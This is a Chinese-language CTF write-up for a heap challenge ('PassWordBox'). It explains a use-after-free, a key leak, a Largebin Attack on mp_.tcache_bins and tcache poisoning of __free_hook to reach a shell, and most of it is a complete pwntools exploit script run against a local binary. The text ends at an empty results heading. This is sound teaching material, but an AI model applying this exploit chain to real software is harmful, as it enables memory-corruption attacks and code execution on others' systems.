一 、题目背景

正好之前发了一篇文章说LargeBin Attack,这里正好实战记录一下。

二、题目链接

https://pan.baidu.com/s/1k0AAV7NF4esBzwQahx3u_w 提取码:kbtl

三、利用过程

题目的逻辑就不多说了,就是一个经典的堆题,注意到有个Recovery可以恢复堆块的使用状态,当我们free一个堆块后进行recovery操作就可以再次利用这个堆块,相当于uaf。Add操作只能申请Largebin Size的堆块,所以这里的思路就是先使用Largebin Attack将mp_结构中的tcache_bins改成一个大数,然后使用tcache投毒打free_hook,修改为system后释放一个以”/bin/sh\x00”开头的堆块即可getshell。注意因为这是PassWordBox,会涉及到加密操作,加密逻辑十分简单,每8个byte和key进行一次异或。在show和Add的时候分别进行解密和加密。所以在交互的时候需要先泄露key的值,然后后续需要注意是否交互时是否需要与key异或。

四、exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
from pwn import *
p = process('./pwdPro')#二进制程序名
libc = ELF('./libc.so.6')#程序使用的libc地址
#菜单名字
def cmd(a):
p.recvuntil(b'Input Your Choice:')
p.sendline(str(a))
def alloc(index,size,content):
cmd(1)
p.recvuntil(b'Which PwdBox You Want Add:')
p.sendline(str(index))
p.recvuntil(b'ID You Want Save:')
p.sendline(b'a')
p.recvuntil(b'Length Of Your Pwd:')
p.sendline(str(size))
p.recvuntil(b'Your Pwd:')
p.sendline(content)
def free(index):
cmd(4)
p.recvuntil(b'Idx you want 2 Delete:')
p.sendline(str(index))
def show(index):
cmd(3)
p.recvuntil(b'Which PwdBox You Want Check:')
p.sendline(str(index))
def edit(index,content):
cmd(2)
p.sendline(str(index))
sleep(0.05)
p.send(content)
def recovery(index):
cmd(5)
p.recvuntil(b'Idx you want 2 Recover:')
p.sendline(str(index))
#堆风水largebin attack 1-4步
alloc(0,0x448,b'a')#0
alloc(1,0x798,b'b')#1
alloc(2,0x438,b'c')#2
alloc(3,0x798,b'd')#3

free(0)#largebin attack 第5步
recovery(0)#uaf漏洞
edit(0,p64(0))#利用uaf漏洞,泄露key。
show(0)
p.recvuntil(b'Pwd is: ')
key = u64(p.recv(8))
#泄露key后紧接着的字节可以泄露libc。
leak_libc = u64(p.recv(8)) ^ key
libc_base = leak_libc + 0x7f1050e60000 - 0x7f105101cbe0#不同libc不同,此处需要自己调试修改地址
edit(0,p64(leak_libc))#之前把这个改成0了,要修改回来,不然会导致unsortedbin链崩溃而程序异常退出。
#largebin attack第6步
alloc(4,0x458,b'e')#4
#借助largebin chunk中的fd_nextsize指针泄露堆地址,用来维护环境
show(0)
p.recvuntil(b'Pwd is: ')
p.recv(16)
leak_heap = u64(p.recv(8)) ^ key
#largebin attack第7步
free(2)
#target_addr是mp_的tcache_bins成员地址,利用largebin attack将其改成大数
target_addr = libc_base + 0x7f496231e2b8 - 0x7f4962162000 - 8
log.success(hex(target_addr))
edit(0,p64(leak_libc) * 2 + p64(leak_heap) + p64(target_addr))#largebin attack第8步,注意不要破坏前三个指针。
#largebin attack第9步,触发漏洞
alloc(5,0x458,p64(u64(b'/bin/sh\x00') ^ key))#5

#以下为tcache投毒getshell的简单操作。
alloc(6,0x500,b'f')#6
alloc(7,0x500,b'g')#7
free(6)
free(7)
recovery(7)
free_hook = libc_base + libc.symbols['__free_hook']
system = libc_base + libc.symbols['system']
edit(7,p64(free_hook))
alloc(8,0x500,b'g')#8
alloc(9,0x500,p64(system ^ key))#9
free(5)
log.success("Key:" + hex(key))
log.success("libc_base:" + hex(libc_base))
log.success("leak_heap:" + hex(leak_heap))
#gdb.attach(p)
#pause()
p.interactive()

五、利用结果